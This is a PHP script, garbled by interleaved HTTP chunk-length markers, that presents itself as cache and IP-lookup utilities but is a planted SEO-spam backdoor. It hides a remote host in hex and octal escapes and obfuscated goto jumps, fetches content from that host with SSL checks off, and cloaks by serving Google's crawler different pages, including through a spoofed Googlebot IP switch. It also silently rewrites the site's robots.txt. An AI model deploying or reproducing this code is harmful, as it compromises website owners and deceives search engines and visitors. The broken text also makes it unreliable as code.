2 e php error_rep d orting(0); $ f get = filter_in d put_array(INP d UT_GET, FILTE c R_SANITIZE_S e TRING); /* 23 ------------------------- 高 a 速本地 a 存函 22 ------------------------- */ f e unction cache_ f get($key, $expi 11 re = 300) { 14 $file = sys_get_temp 12 _dir() . '/cache_' 15 . md5($key) . '.php' 13 ; if (file_exi 10 sts($file) && (t 18 ime() - filemtime($file) 1c ) < $expire) { retu 12 rn file_get_conten 26 ts($file); } return false; 21 } function cache_set($key, $data 6a ) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; @file_put_contents($file, $data 10 , LOCK_EX); } 2d /* ------------------------- 获取 9 实访 b IP(兼 c CDN / 反 2f 代) ------------------------- */ function 19 get_real_ip() { $key 15 s = [ 'HTTP_ d CF_CONNECTING e _IP', // Cloud 1a flare 'HTTP_X_REA 28 L_IP', // Nginx 'HTTP_X_ d FORWARDED_FOR 1f ', // Proxy 'HTTP_CLI 19 ENT_IP', 'REMOTE 12 _ADDR' ]; 15 foreach ($keys as 1a $k) { if (!empty c ($_SERVER[$k 25 ])) { $ip = $_SERVER[$k] 1f ; if (strpos($ip 10 , ',') !== false 25 ) { $ip = trim(explo f de(',', $ip)[0] 2f ); } if (filter_var 13 ($ip, FILTER_VALIDA 25 TE_IP)) { return $ip 35 ; } } } return '127.0 35 .0.1'; } /* ------------------------- 更 d 的 getCurl( 3a ) ------------------------- */ function getCurlFast($url 15 ) { $cached = 35 cache_get($url); if ($cached !== false) return $ 22 cached; $data = ''; 19 if (function_exists('curl 1b _init')) { $ch = c 23 url_init($url); curl_setop 20 t_array($ch, [ CURL e OPT_RETURNTRAN d SFER => true, 24 CURLOPT_CONNECTTIMEOUT 2f => 5, CURLOPT_TIMEOUT => 8 22 , CURLOPT_SSL_VERIFYP 31 EER => false, CURLOPT_SSL_VERIFYHOST 29 => false, CURLOPT_FOLLOWLOC 2b ATION => false, CURLOPT_USERAG 14 ENT => "Mozilla 24 /5.0" ]); $data = 20 curl_exec($ch); curl_cl 23 ose($ch); } if (empty($ 16 data) && ini_get('allo 1c w_url_fopen')) { $c 18 ontext = stream_context_ 1b create([ "http f " => ["timeout" 17 => 8, "header" => "Use 16 r-Agent: Mozilla/5.0\r 19 \n"], "ssl" 16 => ["verify_peer" => 23 false, "verify_peer_name" => false] 3f ]); $data = @file_get_contents($url, false, 37 $context); } if (!empty($data)) cache_set($ 49 url, $data); return $data; } /* ------------------------- a URL 信息 3e ------------------------- */ function get_url_info(string $ e type='domain') 21 : string { $host = $_SERVER[ 15 'HTTP_HOST'] ?? ''; 16 if ($type === 'no_ 15 www') return preg_rep e lace('/^www\./ 19 i', '', $host); $p 1b rotocol = (!empty($_SERVER[ 25 'HTTPS']) && $_SERVER['HTTPS'] !== 'o 11 ff') ? "https://" 17 : "http://"; $bas 2d e = $protocol . $host; if ($type === ' 2d base') return $base; if ($type === 'full 22 ') return $base . ($_SERVER['REQUE 20 ST_URI'] ?? ''); return $ 35 host; } /* ------------------------- 基础 27 变量 ------------------------- */ g 11 oto ONPuB; ONPuB: 21 $http_type = !empty($_SERVER["\x 11 48\124\x54\x50\x5 28 3"]) && $_SERVER["\x48\124\124\x50\x53"] 10 !== "\157\x66\1 16 46" ? "\150\x74\x74\x7 c 0\163\72\x2f 19 \x2f" : "\x68\164\164\160 16 \72\x2f\57"; goto O4O9 14 k; O4O9k: $vurl = "\ 15 x74\157\56\152\147\14 15 1\x6c\x6c\163\x2e\143 19 \157\x6d\x2f"; goto vgv72 12 ; vgv72: $qz = sub 1b str(str_replace(array("\x77 14 \x77\167\x2e", "\56" 1c ), '', $_SERVER["\110\x54\x5 15 4\120\x5f\x48\x4f\123 11 \x54"]), 0, 3); 2b /* ------------------------- 解析 f 30 参数 ------------------------- */ $sz = $ii 18 d = ""; if(!empty($_GET 10 )){ $f=reset($ 1c _GET); $sp = explode('- 1a ', $f); if (count($sp 1e ) === 2) { $sz = $sp 1b [0]; $iid = $sp[1] 36 ; } } /* ------------------------- 远程 26 接口 ------------------------- */ 2a if (!empty($sz)) { $jd = getCurlFast( 16 "{$http_type}{$vurl}3k b g.aspx?sz=" 18 . urlencode($sz)); } e 4a lse { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy={$http_type}" 4b ); $sz = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd=" . urlencode($jd 11 )); } $hyzhdy 15 = $jd . "41.aspx"; 42 $surl = $jd . "s41.aspx"; /* ------------------------- e robots / sitem 32 ap ------------------------- */ $sitemapLine = " 37 Sitemap: {$http_type}{$_SERVER['HTTP_HOST']}{$_SERVER[' e SCRIPT_NAME']} 10 ?w=" . date('Ymd 17 Hi') . "\n"; function 16 ensure_robots_sitemap( 25 $sitemapLine) { $robots = rtrim( 16 $_SERVER['DOCUMENT_ROO 16 T'], "/\\") . '/robots 1e .txt'; if (!file_exists($ 36 robots)) { @file_put_contents($robots, "User- 11 agent: *\nAllow: 20 /\n" . $sitemapLine, LOCK_EX); 37 } else { $c = @file_get_contents($robots); 1e if ($c === false || 33 strpos($c, $sitemapLine) === false) { 31 @file_put_contents($robots, $sitemapLine, FILE_AP 1d PEND | LOCK_EX); } 36 } } /* ------------------------- w= 输 35 ------------------------- */ if (!empty($get['w' 17 ])) { $params = 10 http_build_query 15 ([ 'NOUmber' 27 => $get['NOUmber'] ?? '', 't' 37 => $get['t'] ?? '', 'cn' => $get[' 2e cn'] ?? '', 'pNOUm' => $get['pNOUm' 3d ] ?? '', 'cid' => $get['cid'] ?? '', 'm 2f ' => $get['m'] ?? '' ]); $str 20 = getCurlFast("{$surl}?{$params 27 }"); echo str_replace( 11 ['yymm','ggggg',' 1c ?f='], [$http_type. 36 $_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'], $sz,'?' 1e .$qz.'='], $str 3c ); exit; } /* ------------------------- IP 9 定( b 留 kk 测 2d 试) ------------------------- */ $kk = i 12 sset($get['kk']) ? 20 trim($get['kk']) : ''; $ip = ( 14 $kk !== '') ? "66.24 17 9.82.8" : get_real_ip() 37 ; /* ------------------------- getdomain2 判 31 ------------------------- */ $domain = trim( 27 getCurlFast($jd . "getdomain2.aspx?rnd= 37 1&ip=" . $ip)); /* ------------------------- c google + c iid → 跳 39 ------------------------- */ if ($domain !== 'google 1c ' && !empty($iid)) { $k 11 name = urldecode( 2c getCurlFast($jd . "gn.aspx?iid=" . $iid)); 15 echo '' 8c ; exit; } /* ------------------------- iid 输出 ------------------------- */ if (!empty($iid)) { $str = getCurlFast( 15 $hyzhdy . "?iid={$iid 3c }"); echo str_replace( ['ggggg','YYYYY','XXX 12 YYY','当前URL',' 25 UUUUU','MMMMM','?f='], [$sz, 35 get_url_info(), get_url_info('base'), get_url_info(' 24 full'), get_url_info('no_www'),parse 26 _url($_SERVER['REQUEST_URI'], PHP_URL_ 66 PATH),'?'.$qz.'='], $str ); exit; } /* ------------------------- sitemap 32 helper ------------------------- */ function out 14 put_sitemap_and_exit 45 ($sitemapLine, $http_type) { ensure_robots_sitemap($sitemapLine) 18 ; echo "